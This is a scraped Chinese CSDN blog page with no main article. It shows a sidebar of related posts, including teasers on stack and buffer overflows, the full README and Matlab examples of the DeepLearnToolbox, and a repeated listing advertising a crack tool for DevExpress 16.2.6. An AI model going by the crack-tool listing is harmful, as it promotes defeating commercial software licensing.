转自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm 入门篇 2007-6-24 15:46:20 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍非常多,我将仅仅是简单阐述原理,着重在应用。其次...

weixin_34240520的博客 129

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

怎样破坏程序的堆栈?

为什么使用堆栈?   现代计算机被设计成能够理解人们头脑中的高级语言。 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时, 函数把控...

chiloutao9982的博客 310

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

攻防技术:网络防火墙防范溢出策略

最近,一种被称为“缓存溢出(buffer overflow)”的设计缺陷,正在严重危害着系统的安全,成为比y2k更为头痛的问题。一旦这个缺陷被别有用心的人发现,就会被利用作为非法入侵的一种手段,破坏电脑中的资料。据统计,通过缓存溢出进行的攻击占所有系统攻击总数的80%以上,最近各大网站所遭受的所谓分布式服务拒绝(ddos)式的攻击也是一种利用缓存溢出原理的攻击方式。   简单地说,缓...

weixin_30687051的博客 155

异常堆栈

<br />C++异常中的堆栈跟踪<br /><br />C++语言的运行时环境是基于栈的环境,堆栈跟踪(trace stack)就是程序运行时能<br />够跟踪并打印所调用的函数、变量及返回地址等,C++异常中的堆栈跟踪就是当程序<br />抛出异常时,能够把导致抛出异常的语句所在的文件名和行号打印出来,以及把调用<br />抛出异常的语句的函数以及其它上层函数信息都打印出来。<br /><br />1. 为什么需要堆栈跟踪<br /><br />当你在开发程序时,你是否曾遇到过程序运行过程中突然当机,

jiangdewei2008的专栏 3698
上一篇: 【原理+实战】window系统下的堆栈溢出
下一篇: 【实战】window系统下的远程堆栈溢出
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址